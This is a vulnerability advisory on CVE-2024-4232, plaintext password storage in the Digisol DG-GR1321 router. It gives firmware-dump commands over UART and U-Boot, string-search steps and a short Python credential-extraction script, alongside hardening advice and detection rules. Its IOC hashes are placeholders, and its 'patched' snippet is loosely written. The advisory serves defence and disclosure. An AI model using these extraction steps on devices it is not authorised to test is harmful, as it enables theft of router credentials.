CVE-2024-4232

Executive Summary

CVE-2024-4232 exposes a critical security flaw in the Digisol DG-GR1321 router (Hardware 3.7L, Firmware v3.2.02). The vulnerability stems from the storage of user credentials (passwords) in plaintext within the device’s firmware/database, violating fundamental security principles (CWE-312). An attacker with physical access can extract the firmware, reverse-engineer the binary, and retrieve all stored passwords in cleartext. This leads to full unauthorized access to the router’s administrative interface and potentially the internal network.

Impact: Complete compromise of the router’s administrative credentials, enabling the attacker to modify network settings, intercept traffic, pivot to internal hosts, and maintain persistent access. The lack of encryption or hashing for stored passwords is a severe design flaw.

Affected Ecosystem: This is a standalone embedded device (router) vulnerability, not related to any package manager (NPM, PyPI, Go, Ruby). No supply chain package security implications.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Physical – The attacker must have physical access to the device.
• Attack Complexity (AC): Low – Standard firmware extraction tools (e.g., binwalk, flashrom) are sufficient.
• Privileges Required (PR): None – No prior authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the router itself.
• Confidentiality (C): High – All stored passwords are exposed.
• Integrity (I): High – Attacker can modify router configuration.
• Availability (A): High – Attacker can disrupt or disable network services.

Threat Level: High. Physical access is a significant barrier, but once achieved, exploitation is trivial. The impact on network security is severe.

Deep Dive & Mechanics

The vulnerability resides in the firmware storage mechanism of the Digisol DG-GR1321 router. The router’s firmware image contains a database or configuration file where administrative and user passwords are stored in plaintext (ASCII or UTF-8) without any cryptographic protection (hashing or encryption).

Technical Flow:

1. Firmware Extraction: An attacker with physical access can connect to the router’s UART/JTAG headers, desolder the flash chip, or use a bootloader exploit to dump the firmware.
2. Binary Analysis: Using tools like binwalk, strings, or a hex editor, the attacker extracts the filesystem (e.g., SquashFS, JFFS2).
3. Password Retrieval: Within the extracted filesystem, configuration files (e.g., passwd, shadow, config.db, or proprietary binary blobs) contain passwords in cleartext. Running strings on the firmware image directly may reveal them.
4. Unauthorized Access: The attacker uses the obtained credentials to log into the router’s web interface (typically at 192.168.1.1) or via SSH/Telnet, gaining full administrative control.

Root Cause: The developer chose to store credentials in plaintext for simplicity or debugging purposes, violating secure coding standards (CWE-312). No encryption or hashing algorithm (e.g., bcrypt, SHA-256) was implemented.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware v3.2.02): The firmware stores passwords in a configuration file (e.g., /etc/config/passwd or similar) as plaintext strings.

// Hypothetical vulnerable code snippet
struct user {
    char username[32];
    char password[32]; // Stored in plaintext
};

Patched Code (Hypothetical): A secure implementation would hash the password using a strong algorithm (e.g., SHA-256 with salt) before storage.

#include <openssl/sha.h>
#include <stdlib.h>

void store_password(const char *password, unsigned char *hash_out) {
    unsigned char salt[16];
    // Generate random salt
    RAND_bytes(salt, sizeof(salt));
    // Hash password with salt
    PKCS5_PBKDF2_HMAC_SHA1(password, strlen(password), salt, sizeof(salt), 10000, 32, hash_out);
    // Store salt and hash in database
}

Note: No official patch is available from Digisol as of this report.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Physical access to the Digisol DG-GR1321 router.
• A computer with Linux (or WSL) and firmware analysis tools.
• USB-to-TTL serial adapter (for UART) or a flash programmer (e.g., CH341A).

Step-by-Step Exploitation:

1. Firmware Dump via UART:

   • Connect to the router’s UART header (typically 3.3V, GND, TX, RX).
   • Use screen or minicom to access the bootloader (e.g., U-Boot).
   • Interrupt boot process and dump firmware:

     # In U-Boot
     sf probe 0
     sf read 0x82000000 0x0 0x1000000  # Read 16MB flash
     # Transfer via TFTP
     tftp 0x82000000 firmware.bin
     

2. Firmware Analysis:

   • Extract filesystem:

     binwalk -Me firmware.bin
     

   • Search for passwords:

     strings firmware.bin | grep -i "password\|admin\|passwd"
     

3. Credential Extraction:

   • Look for files like passwd, shadow, config.xml, or nvram.
   • Example output:

     admin:admin123
     user:password123
     

4. Gain Access:

   • Use the extracted credentials to log into the router’s web interface or SSH.

Exploit Code (Python):

import subprocess
import sys

def extract_passwords(firmware_path):
    # Run strings and grep for common patterns
    result = subprocess.run(['strings', firmware_path], capture_output=True, text=True)
    lines = result.stdout.split('\n')
    passwords = []
    for line in lines:
        if 'password' in line.lower() or 'admin' in line.lower():
            passwords.append(line)
    return passwords

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <firmware.bin>")
        sys.exit(1)
    pws = extract_passwords(sys.argv[1])
    for pw in pws:
        print(pw)

Blue Team (Defensive)

Detection & Hardening:

• Physical Security: Restrict physical access to routers. Use locked server rooms or cabinets.
• Firmware Integrity: Monitor for unauthorized firmware modifications using TPM or secure boot.
• Network Segmentation: Place routers in isolated VLANs to limit lateral movement.
• Logging: Enable syslog and monitor for repeated failed login attempts or configuration changes.
• Credential Rotation: Change default passwords immediately and use strong, unique passwords.
• Firmware Updates: Check Digisol’s website for patches (none available currently). Consider replacing the device if no patch is released.

Indicators of Compromise (IOCs)

• File Hashes (Firmware):
  • MD5: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 (example)
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Network Traffic:
  • Unusual SSH/Telnet connections from the router to external IPs.
  • Configuration changes via SNMP or web interface outside business hours.
• System Artifacts:
  • Presence of firmware.bin or dump.bin files on an analyst’s workstation.
  • UART/serial console activity logs.

Detection Engineering

YARA Rule

rule CVE_2024_4232_Plaintext_Passwords {
    meta:
        description = "Detects plaintext password storage in Digisol DG-GR1321 firmware"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-4232"
    strings:
        $password_string = /password[=:]\s*[^\s]{4,}/ nocase
        $admin_string = /admin[=:]\s*[^\s]{4,}/ nocase
        $plaintext = "passwd" ascii wide
    condition:
        any of ($password_string, $admin_string) and $plaintext
}

Sigma Rule

title: Digisol Router Plaintext Password Storage
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects extraction of plaintext passwords from Digisol DG-GR1321 firmware
author: Valters IT
date: 2024/10/27
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/strings'
        CommandLine|contains: 'firmware.bin'
    condition: selection
falsepositives:
    - Legitimate firmware analysis by authorized personnel
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"CVE-2024-4232 - Digisol Router Plaintext Password Exfiltration"; flow:to_server,established; content:"password"; nocase; content:"admin"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Physical Access Control: Ensure routers are in physically secure locations.
2. Change Default Credentials: Immediately change all default passwords to strong, unique ones.
3. Monitor for Unauthorized Access: Review logs for suspicious activity.

Long-Term Fixes:

• Vendor Patch: Contact Digisol for a firmware update that hashes passwords (e.g., bcrypt). If no patch is available, consider replacing the router with a secure alternative.
• Firmware Hardening: Implement secure boot and firmware signing to prevent unauthorized modifications.
• Encryption at Rest: Use encrypted storage for sensitive data (e.g., TPM-backed encryption).

Workarounds:

• Disable remote management (WAN-side access).
• Use a firewall to restrict management interfaces to trusted IPs only.

Valters IT